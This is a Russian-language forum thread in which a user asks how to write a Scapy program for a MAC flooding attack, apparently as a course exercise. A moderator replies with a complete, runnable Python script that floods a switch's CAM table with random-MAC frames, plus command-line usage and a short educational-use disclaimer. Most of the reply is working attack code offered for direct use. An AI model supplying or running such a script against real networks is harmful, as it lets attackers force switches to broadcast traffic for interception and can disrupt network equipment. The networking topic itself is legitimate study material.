Задание на языке Python

Даниэль

Новичок
Пользователь
Апр 13, 2025
1
1
1
Дорогие друзья!
Прошу подсказать, как можно решить задание:

*MAC - флудинг*
Ассоциативная память, или память, адресуемая по содержимому (content addressable memory, CAM), - вид машинной памяти, используемой как в маршрутизаторах, так и в коммутаторах. В случае с коммутаторами эта память сопоставляет MAC - адреса с соответствующими портами. Если ассоциативная память коммутатора заполнена, то он будет транслировать сообщение на все порты. Злоумышленники могут спровоцировать такое поведение, отправив коммутатору пакеты со случайными МАС - адресами. Напишите программу для выполнения такой атаки, используя библиотекиу Scapy.
 
  • Мне нравится
Реакции: Dr. Mundo

Dr. Mundo

Модератор
Команда форума
Модератор
Фев 13, 2024
29
1
3
Я понимаю, что вам нужна программа для симуляции атаки MAC-флудинга с использованием библиотеки Scapy. Это распространенная тема в области сетевой безопасности для образовательных целей.


Давайте создадим скрипт на Python с использованием Scapy для демонстрации MAC-флудинга:

Python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
MAC-флудинг скрипт с использованием Scapy
Данный скрипт демонстрирует принцип атаки MAC-флудинга на коммутатор
Для образовательных целей и тестирования безопасности в контролируемой среде
"""

from scapy.all import Ether, IP, UDP, RandMAC, sendp
import random
import time
import argparse

def mac_flood(interface, count=1000, interval=0.01):
    """
    Функция для выполнения MAC-флудинга
    
    Параметры:
    interface (str): Сетевой интерфейс для отправки пакетов
    count (int): Количество пакетов для отправки
    interval (float): Интервал между пакетами в секундах
    """
    
    print(f"[*] Начинаю MAC-флудинг на интерфейсе {interface}")
    print(f"[*] Будет отправлено {count} пакетов с интервалом {interval} секунд")
    
    # Счетчик отправленных пакетов
    sent_packets = 0
    
    try:
        for i in range(count):
            # Генерация случайного MAC-адреса отправителя
            src_mac = str(RandMAC())
            
            # Генерация случайного MAC-адреса получателя
            dst_mac = str(RandMAC())
            
            # Генерация случайных IP-адресов для создания разнообразного трафика
            src_ip = f"10.0.0.{random.randint(1, 254)}"
            dst_ip = f"10.0.0.{random.randint(1, 254)}"
            
            # Генерация случайных портов UDP
            src_port = random.randint(1024, 65535)
            dst_port = random.randint(1024, 65535)
            
            # Создание Ethernet кадра со случайными MAC-адресами
            packet = Ether(src=src_mac, dst=dst_mac) / \
                     IP(src=src_ip, dst=dst_ip) / \
                     UDP(sport=src_port, dport=dst_port) / \
                     "MAC-flood test packet"
            
            # Отправка пакета
            sendp(packet, iface=interface, verbose=0)
            
            sent_packets += 1
            
            # Вывод прогресса
            if sent_packets % 100 == 0:
                print(f"[+] Отправлено {sent_packets} пакетов")
            
            # Пауза между отправками
            time.sleep(interval)
        
        print(f"[*] MAC-флудинг завершен. Отправлено {sent_packets} пакетов")
        
    except KeyboardInterrupt:
        print(f"\n[!] Прервано пользователем. Отправлено {sent_packets} пакетов")
    except Exception as e:
        print(f"\n[!] Ошибка: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="MAC-флудинг с использованием Scapy")
    parser.add_argument("-i", "--interface", required=True, help="Сетевой интерфейс для отправки пакетов")
    parser.add_argument("-c", "--count", type=int, default=1000, help="Количество пакетов для отправки (по умолчанию: 1000)")
    parser.add_argument("-t", "--interval", type=float, default=0.01, help="Интервал между пакетами в секундах (по умолчанию: 0.01)")
    
    args = parser.parse_args()
    
    mac_flood(args.interface, args.count, args.interval)

Этот скрипт демонстрирует принцип атаки MAC-флудинга на коммутатор с использованием библиотеки Scapy. Вот что делает программа:
  1. Создает множество пакетов со случайными MAC-адресами отправителя и получателя
  2. Отправляет эти пакеты через указанный сетевой интерфейс
  3. Заставляет коммутатор запоминать эти адреса в своей CAM-таблице
  4. Когда таблица заполняется, коммутатор начинает работать в режиме хаба, отправляя все пакеты на все порты
Как использовать скрипт:

Код:
sudo python3 mac-flood.py -i eth0

Где eth0 - это ваш сетевой интерфейс. Вы также можете указать:
  • -c 500 - количество пакетов (по умолчанию 1000)
  • -t 0.005 - интервал между пакетами в секундах (по умолчанию 0.01)

Важное примечание:​

Данный скрипт предназначен только для образовательных целей и тестирования в контролируемой среде. Использование его в реальных сетях без соответствующего разрешения незаконно и может нарушить работу сетевого оборудования.
 

Форум IT Специалистов